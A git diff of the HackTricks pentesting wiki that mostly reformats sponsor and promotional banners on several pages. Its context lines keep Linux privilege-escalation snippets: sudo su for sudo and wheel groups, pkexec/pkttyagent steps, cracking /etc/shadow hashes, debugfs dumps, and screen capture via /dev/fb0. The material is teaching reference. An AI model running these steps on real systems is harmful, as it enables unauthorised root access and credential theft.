-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
-{% hint style="danger" %}
-![](<../../../.gitbook/assets/image (9) (1).png>)
+![](<../../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
diff --git a/generic-methodologies-and-resources/python/venv.md b/generic-methodologies-and-resources/python/venv.md
index 483be2bd4..1a15b0c02 100644
--- a/generic-methodologies-and-resources/python/venv.md
+++ b/generic-methodologies-and-resources/python/venv.md
@@ -1,28 +1,22 @@
# venv
-{% hint style="danger" %}
-![](<../../.gitbook/assets/image (9) (1).png>)
+![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
@@ -49,24 +43,18 @@ inside the virtual environment
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
-{% hint style="danger" %}
-![](<../../.gitbook/assets/image (9) (1).png>)
+![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
diff --git a/generic-methodologies-and-resources/python/web-requests.md b/generic-methodologies-and-resources/python/web-requests.md
index f8e708502..738d73ad0 100644
--- a/generic-methodologies-and-resources/python/web-requests.md
+++ b/generic-methodologies-and-resources/python/web-requests.md
@@ -1,28 +1,22 @@
# Web Requests
-{% hint style="danger" %}
-![](<../../.gitbook/assets/image (9) (1).png>)
+![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
@@ -129,24 +123,18 @@ term.cmdloop()
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
-{% hint style="danger" %}
-![](<../../.gitbook/assets/image (9) (1).png>)
+![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
diff --git a/generic-methodologies-and-resources/search-exploits.md b/generic-methodologies-and-resources/search-exploits.md
index 5fe3d3fc8..c09bddb4b 100644
--- a/generic-methodologies-and-resources/search-exploits.md
+++ b/generic-methodologies-and-resources/search-exploits.md
@@ -1,28 +1,22 @@
# Search Exploits
-{% hint style="danger" %}
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
@@ -72,24 +66,18 @@ This searches for exploits in other databases: [https://sploitus.com/](https://s
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
-{% hint style="danger" %}
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
diff --git a/linux-hardening/privilege-escalation/docker-breakout/README.md b/linux-hardening/privilege-escalation/docker-breakout/README.md
index f2b3a9bfe..88c805816 100644
--- a/linux-hardening/privilege-escalation/docker-breakout/README.md
+++ b/linux-hardening/privilege-escalation/docker-breakout/README.md
@@ -1,28 +1,22 @@
# Docker Basics & Breakout
-{% hint style="danger" %}
-![](<../../../.gitbook/assets/image (9) (1).png>)
+![](<../../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
@@ -123,15 +117,13 @@ tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
When I changed Docker host, I had to move the root keys and repository keys to operate from the new host.
-{% hint style="danger" %}
-![](<../../../.gitbook/assets/image (9) (1).png>)
+![](<../../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
## Containers Security Improvements
@@ -253,15 +245,13 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
For more **`--security-opt`** options check: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
-{% hint style="danger" %}
-![](<../../../.gitbook/assets/image (9) (1).png>)
+![](<../../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
## Other Security Considerations
@@ -384,24 +374,18 @@ If you have access to the docker socket or have access to a user in the **docker
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
-{% hint style="danger" %}
-![](<../../../.gitbook/assets/image (9) (1).png>)
+![](<../../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
diff --git a/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/README.md b/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/README.md
index 8cf074162..4440f4fdf 100644
--- a/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/README.md
+++ b/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/README.md
@@ -12,7 +12,7 @@
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
@@ -508,7 +508,7 @@ If you only have `hostIPC=true`, you most likely can't do much. If any process o
The second technique explained in the post [https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indicates how you can abuse bind mounts with user namespaces, to affect files inside the host (in that specific case, delete files).
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
@@ -557,7 +557,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
diff --git a/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md
index 49cb45032..ecdc8b1f9 100644
--- a/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md
+++ b/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md
@@ -1,25 +1,20 @@
-
+# Interesting Groups - Linux PE
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+## Sudo/Admin Groups
-# Sudo/Admin Groups
-
-## **PE - Method 1**
+### **PE - Method 1**
**Sometimes**, **by default (or because some software needs it)** inside the **/etc/sudoers** file you can find some of these lines:
@@ -39,7 +34,7 @@ If this is the case, to **become root you can just execute**:
sudo su
```
-## PE - Method 2
+### PE - Method 2
Find all suid binaries and check if there is the binary **Pkexec**:
@@ -87,7 +82,7 @@ pkttyagent --process #Step 2, attach pkttyagent to session1
```
{% endcode %}
-# Wheel Group
+## Wheel Group
**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line:
@@ -103,7 +98,7 @@ If this is the case, to **become root you can just execute**:
sudo su
```
-# Shadow Group
+## Shadow Group
Users from the **group shadow** can **read** the **/etc/shadow** file:
@@ -113,7 +108,7 @@ Users from the **group shadow** can **read** the **/etc/shadow** file:
So, read the file and try to **crack some hashes**.
-# Disk Group
+## Disk Group
This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.
@@ -137,7 +132,7 @@ debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
However, if you try to **write files owned by root** (like `/etc/shadow` or `/etc/passwd`) you will have a "**Permission denied**" error.
-# Video Group
+## Video Group
Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:
@@ -156,15 +151,15 @@ cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
-To **open** the **raw image** you can use **GIMP**, select the **`screen.raw` ** file and select as file type **Raw image data**:
+To **open** the **raw image** you can use **GIMP**, select the \*\*`screen.raw` \*\* file and select as file type **Raw image data**:
-![](<../../../.gitbook/assets/image (287).png>)
+![](<../../../.gitbook/assets/image (287) (1).png>)
Then modify the Width and Height to the ones used on the screen and check different Image Types (and select the one that shows better the screen):
![](<../../../.gitbook/assets/image (288).png>)
-# Root Group
+## Root Group
It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges...
@@ -174,7 +169,7 @@ It looks like by default **members of root group** could have access to **modify
find / -group root -perm -g=w 2>/dev/null
```
-# Docker Group
+## Docker Group
You can **mount the root filesystem of the host machine to an instance’s volume**, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine.
@@ -202,37 +197,30 @@ If you have write permissions over the docker socket read [**this post about how
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
-# lxc/lxd Group
+## lxc/lxd Group
{% content-ref url="./" %}
[.](./)
{% endcontent-ref %}
-# Adm Group
+## Adm Group
Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.\
